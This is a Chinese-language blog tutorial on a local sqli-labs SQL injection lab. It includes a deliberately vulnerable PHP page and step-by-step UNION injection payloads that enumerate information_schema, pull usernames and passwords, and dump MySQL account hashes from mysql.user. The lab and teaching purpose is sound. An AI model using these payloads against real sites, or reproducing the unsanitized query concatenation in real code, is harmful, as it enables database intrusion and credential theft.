SQL注入实验

环境搭建

1. 配置虚拟机

下载windows server 2019镜像文件,创建虚拟机
下载phpstudy

2、下载sqli-labs源码
https://github.com/
输入sqli-labs
在这里插入图片描述
在这里插入图片描述
将源码解压放到phpstu根目录WWW下
修改phpstudy的php版本为5

配置数据库
打开D:\phpstudy_pro\WWW\sqli-labs-master\sql-connections\db-creds.inc
把密码设置为root

数据库基础

增删查改

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

查询语句

在这里插入图片描述
union操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同

语法:
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
注释:
默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
且union all允许列数不相同

在这里插入图片描述
分组查询
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
相当于把一张表切割成多张临时表,若要分组之后条件筛选用hiving(不能用where)

排序
在这里插入图片描述
多字段排序后面的会以前面相同的基础上排序

分页查询
在这里插入图片描述

常用函数

在这里插入图片描述

<?php
header("Content-type: text/html; charset=utf-8");

$link = @mysql_connect('127.0.0.1', 'root', '');  // 连接数据库
mysql_select_db('sqli');    // 选择默认数据库为sqli
mysql_set_charset('utf8');  // 设置编码为utf8

if(!isset($_GET['id'])){
    header("Location: sqli-1.php?id=1");    // 如果没有传参,则重定向到这个页面,也就是如果没有传参,默认传参数id=1
}

$id = $_GET['id'];  // 获取用户提交的id参数的值
$sql = "select * from `new` where id = " . $id;  // 拼接SQL语句,由于直接获取用户的输入后,没有任何处理,存在SQL注入
$result = mysql_query($sql);
while($row = mysql_fetch_array($result, MYSQL_ASSOC)){  // 遍历输出查询结果,MYSQL_ASSOC表示mysql_fetch_array返回的结果格式为关联数组形式,即可以使用数据库中的字段作为索引获取值。
    echo '<h2>' . $row['title'] . '</h2>';
    echo '<p>' . $row['content'] . '</p>';
}

sql注入基础

注入的类型和判断

什么是注入

所谓sql注入,就是通过把sql命令插入到web表单提交或输出域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令,从而进一步得到相应的数据信息
通过构造一条精巧的雨具,来查询到想要得到的信息

注入分类

				|字符型:当输入的参数为字符串时,为字符型  
按照查询字段-----|   
				|数字型:当输入的参数为整形时,可认为是数字型注入

按注入方法	---	union注入,报错注入,布尔注入,时间注入

判断注入点

注入点:
可以实行注入的地方,通常是一个访问数据库的连接
可能存在注入的url形式:
http://xxx.xxx.xxx/abcd.php?id=XXX
  1. 单引号报错

在SQL查询中,单引号通常用于将查询中的字符串值括起来。例如,查询语句可能类似于“SELECT * FROM users WHERE username = ‘admin’ AND password = ‘password’”。如果应用程序没有正确地处理用户输入,攻击者可以通过在输入中插入单引号来破坏查询的语法,从而执行恶意SQL语句。
例如,攻击者可以在输入中插入“’ OR 1=1–”(注意,这里的两个破折号是注释符号,表示后面的所有内容都被忽略),这将导致查询变成“SELECT * FROM users WHERE username = ‘’ OR 1=1–’ AND password = ‘password’”。由于“1=1”始终为真,这个查询将返回所有用户的记录,而不仅仅是管理员的记录。

因此,当一个应用程序使用单引号将查询中的字符串值括起来时,攻击者可以通过在输入中插入单引号来绕过输入验证和过滤,从而执行恶意SQL语句。因此,当输入中包含单引号时,应用程序应该对其进行特殊处理,以确保它们正确地转义和格式化,从而防止SQL注入攻击。
在判断SQL注入时,如果输入中包含单引号,而应用程序没有对其进行特殊处理,那么这可能是SQL注入攻击的迹象。因此,通过检查输入中是否包含单引号,可以帮助检测SQL注入攻击的存在。但是,这种方法并不是绝对可靠的,因为攻击者可以使用其他方式来绕过输入验证和过滤,从而执行恶意SQL语句。因此,最好的方法是使用参数化查询来构建SQL语句,以确保输入的数据被正确地转义和格式化,从而防止SQL注入攻击
id后面加上单引号会报语法错误 ,因为在数据库sql语句里单引号、双引号、小括号成对存在
加上单引号被代入查询,若返回错误(报错),则存在sql注入
(如果没有报错,不一定代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)
在这里插入图片描述

  1. 逻辑型 And1=1 and 1=2
    有时候没有被代入查询也报错了,这时候要用逻辑型
数字型判断:
url中输入?id=1 and 1=1 页面依旧正常运行
url中输入?id=1 and 1=2 页面运行错误
则说明此 Sql 注入为数字型注入
(前面为true,1=1为true所以运行正常/前面为true后面1=2为false运行错误)

假设,果这是字符型注入的话
输入  1 and 1=1,1 and 1=2时,
后台执行 Sql 语句:
select * from \u003C表名> where id = 'x and 1=1'
select * from \u003C表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串
并没有进行 and 的逻辑判断,所以不会出现以上结果
假设是不成立的,所以为数字型注入

’ or 1=1
在这里插入图片描述

字符型判断:
url中输入1' and '1' = '1,页面运行正常
url中输入1' and '1' = '2,页面运行错误
则说明此 Sql 注入为字符型注入

当输入 and ‘1’='1时
后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='1'
语法正确,逻辑判断正确,所以返回正确
当输入 and ‘1’='2时
后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='2'
语法正确,但逻辑判断错误,所以返回异常
  1. 变量做运算-减号
id=1512
id=1513-1
若结果一样,则表明把减1代入了数据库查询
有可能是一个注入

联合查询法
and 1 = 1and 1=2 -------------判断注入
order by 22 ---------------- 猜有多少列(如22正确,23错误,则为22个)
id=x order by -

注入方式

union联合注入
因为要保证列数相同,先gaoup by(或order by)判断出列数

如以下代码,判断为三列,1,2,3用于实现和前面列数一致
在这里插入图片描述

注入实验

<?php
header("Content-type: text/html; charset=utf-8");

$link = @mysql_connect('127.0.0.1', 'root', '');  // 连接数据库
mysql_select_db('sqli');    // 选择默认数据库为sqli
mysql_set_charset('utf8');  // 设置编码为utf8

if(!isset($_GET['id'])){
    header("Location: sqli-1.php?id=1");    // 如果没有传参,则重定向到这个页面,也就是如果没有传参,默认传参数id=1
}

$id = $_GET['id'];  // 获取用户提交的id参数的值
$sql = "select * from `new` where id = " . $id;  // 拼接SQL语句,由于直接获取用户的输入后,没有任何处理,存在SQL注入
$result = mysql_query($sql);
while($row = mysql_fetch_array($result, MYSQL_ASSOC)){  // 遍历输出查询结果,MYSQL_ASSOC表示mysql_fetch_array返回的结果格式为关联数组形式,即可以使用数据库中的字段作为索引获取值。
    echo '<h2>' . $row['title'] . '</h2>';
    echo '<p>' . $row['content'] . '</p>';
}

在13行,获取到用户传过来的参数后,直接进入了SQL语句,带进了查询语句,没有任何其他操作,很明显的存在SQL注入
在这里插入图片描述
通过and 1=1和and 1=2来判断网页是否存在SQL注入的原理。

首先传个1 and 1=1
页面显示正常
而且最终执行的SQL语句是
select * from `new` where id = 1 and 1=1
再次尝试1 and 1=2
页面除了输出最终执行的SQL页面,没有其他任何输出。

通过and 1=1 、 and 1=2来判断页面是否存在注入,是因为我们修改了原本的SQL语句逻辑,当添加and 1=1的时候,这个条件永远成立,所以页面一定返回正常(需要该页面存在注入),但是当添加and 1=2的时候,这个条件永远不成立,所以如果该页面存在注入,必然不会返回任何数据。所以就会说,如果添加and 1=1页面返回正常,添加and 1=2页面返回不正常或者错误,就说明页面存在SQL注入。当然这只能大概判断,而不是说明该页面一定存在注入

在这里插入图片描述
输出了new表中所有的数据
最终执行的SQL语句是:select * from new where id = 1 or 1=1

它这里只要满足id =1 或者1=1任意一个条件,而1=1永远为真,所以返回了所有的数据,其效果与select * from new一样
在这里插入图片描述

我们希望的是能够通过注入,获取一些网站管理员不希望我们知道的数据,比如管理员的账号密码。

在本页面的源码中,注入点在where后面,也就说,从哪个表中查询什么数据是写死的,
那么怎么才能通过注入获取其他表中的内容呢?
比如获取user表中的数据。

通过union操作符就可以达到我们的目的,union可以合并两条或者多条select语句的查询结果
它的语法如下:

Select column-1,column-2,…,column-N from table-1 
union 
select column-1,column-2,…,column-N from table-2

它的返回值是两个select语句查询结果组成的表。
我们可以通过在第一个查询后面注入一个union运算符
并添加另外一个任意查询,就可以读取到数据库中用户可以访问的任何表
但是,使用union有一些限制:

1.两个查询返回的列数必须型相同。

2.两个select语句对应列所返回的数据类型必须是相同或者是兼容的。

两个查询返回的列数必须相同时什么意思呢?

是指当前的两个select 他们查询的列的个数必须一致
如果第一个select查询了5列,则第二个select也必须查询5列。

如:select title, content from new union select username, password from user;

像上面的查询,列数相同,会返回这2个查询的结果集

在这里插入图片描述

实际的SQL注入应用中,一般第二个select都是用数字或者null,因为这2个类型兼容比较,null更是兼容所有类型
所以我们这里重点关注怎么知道查询中列的数量,代码中,写的是select * from new,直接在代码中看不出来new这个表中有多少列,而需要去查看建表语句,而在实际应用中,除非是开源的CMS,否则你不可能准确知道它查询了多少列,这就需要我们想个办法来获取当前查询的列数。
一个简单的办法是通过order by 子句来确定。Order by 是根据指定的列名进行排序。
Order by 子句可以接受一个列名作为参数,也可以接受一个简单的、能表示特定列的数字,所以可以通过增大order by 子句中代表列的数字来识别查询中的列数

select title, content from new order by 1

用二分法修改数字,找出查询的列数

根据union的语法,构造注入语句,通过前面的测试已经知道这个查询一共查询了3列,在符合union操作符的前提下,可以构造如下语句:

http://sqli.com/sqli-1.php?id=1 union select null, null, null

访问该连接,页面正常,没有任何多余的内容出现,与没加后面的sql语句一样。
查看源码会发现,多了个<h2>标签和<p>。

因为其实我们这里后面的查询也执行,只是返回的是null,
所以在页面没有显示,但是标签还是被数出来了!

虽然后面的语句执行了,但是如何获取我们想要的数据呢?

这就需要我们确定哪个列最终会被输出。
可以把null依次替换成数字或者其他字符。
例如:http://sqli.com/sqli-1.php?id=1 union select 1,2,3

在这里插入图片描述
在第二个select中,如果该列被原样输出了,说明在该列可以用来获取信息,因为通过该列获取的信息会被程序输出

通过上面的方法确定输出位置以后,可以用来获取数据

可以执行一些数据库函数
执行database()来查看当前数据库
执行user()来查看当前连接数据库的用户

在这里插入图片描述
在这里插入图片描述
所以就可以构造如下语句:

http://sqli.com/sqli-1.php?id=1 union select null, username, password from user

在这里插入图片描述
这样就获取了user表中所有的用户名和密码
如果网站存在注入,别人很容易就能通过SQL注入拿到管理员账号密码,那么网站就很容易被人篡改,并且导致信息泄露
在实验步骤二中,是通过查看建表语句知道表中存在什么字段的,那么如何在不知道建表语句的情况下,通过注入来获取当前连接数据库的账号所有有权限访问的数据库名、表名以及字段呢?

这需要了解mysql数据库的information_schema 这个数据库了

information_schema
在SQL注入的时候主要利用这几个表来获取数据:

    SCHEMATA:
    提供了当前mysql数据库中所有数据库的信息
    其中SCHEMA_NAME字段保存了所有的数据库名
    show databases的结果取自此表。

    TABLES:
    提供了关于数据库中的表的信息
    详细表述了某个表属于哪个schema
    表类型,表引擎,创建时间等信息
    其中table_name字段保存了所有列名信息
    show tables from schemaname的结果取自此表。

    COLUMNS:
    提供了表中的列信息
    详细表述了某张表的所有列以及每个列的信息
    其中column_name保存了所有的字段信息
    show columns from schemaname.tablename的结果取自此表

TABLE_SCHEMTA字段是保存的数据库名,而TABLE_NAME保存了表名,可以使用TABLE_SCHEMTA字段作为查询条件,查询TABLE_NAME,即可得知所有指定数据库中的所有表名
比如,通过information_schema数据库来查询sqli数据库中所有的表,可以使用如下SQL语句:

   select TABLE_NAME from information_schema.TABLES 
   where TABLE_SCHEMA = 'sqli';

获取表中的字段
information_schema数据库中,同样存在一个表,保存了整个数据中所有的列名,这个表就是COLUMNS
在这里插入图片描述

在columns中,TABLE_NAME保存了字段所属的表名,TABLE_SCHEMA保存了该字段所属的库名,与通过TABLES表获取表名一样,我们就可以查询把TABLE_NAME 和TABLE_SCHEMA做为查询条件,查询符合条件的COLUMN_NAME,也就是查询指定数据库中某表中的字段。
比如,我们要通过information_schema数据库的columns表查询sqli数据库中user表中所有的字段,可以执行如下SQL语句:

select column_name from information_schema.columns 
where TABLE_SCHEMA='sqli' and TABLE_NAME='user';

查询结果与show columns from sqli.user; 一致。

根据information_schema的作用构造出获取所有数据库的语句,为:

http://sqli.com/sqli-1.php?id=1 
union 
select 1,schema_name,3 from information_schema.schemata

可以看到返回了所有的数据库名

在这里插入图片描述

在当前执行SQL语句的环境中,默认是库是sqli,如果要跨库查询,则需要在表名前加上库名,如果不加上库名,则表示在sqli这个数据库的schemata表中查询,由于sqli这个数据库不存在schemata表,所以会报错

在以上步骤中,获取了sqli数据库user表中的数据,改成mysql。mysql这个数据库保存了mysql的账号密码信息,在注入的时候,可以读取该表中的数据来读取mysql账号密码。

通过注入来获取mysql的账号和密码。
首先查看mysql这个数据库中有哪些表。

构造如下语句:
1 union select 1, 
table_name,
3 from information_schema.tables where table_schema='mysql'

在这里插入图片描述
这个表中保存了mysql服务器的账号和密码的hash值。然后构造语句获取该表中的所有列名。构造语句为:

1 union select 1, 
column_name, 
3 from information_schema.columns 
where table_name ='user' and table_schema='mysql'

访问后返回该表中所有的列名

在这里插入图片描述
存在User字段和Password字段

构造以下语句(防止重复加上all1 union all select 1, User, Password from mysql.user

在这里插入图片描述

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值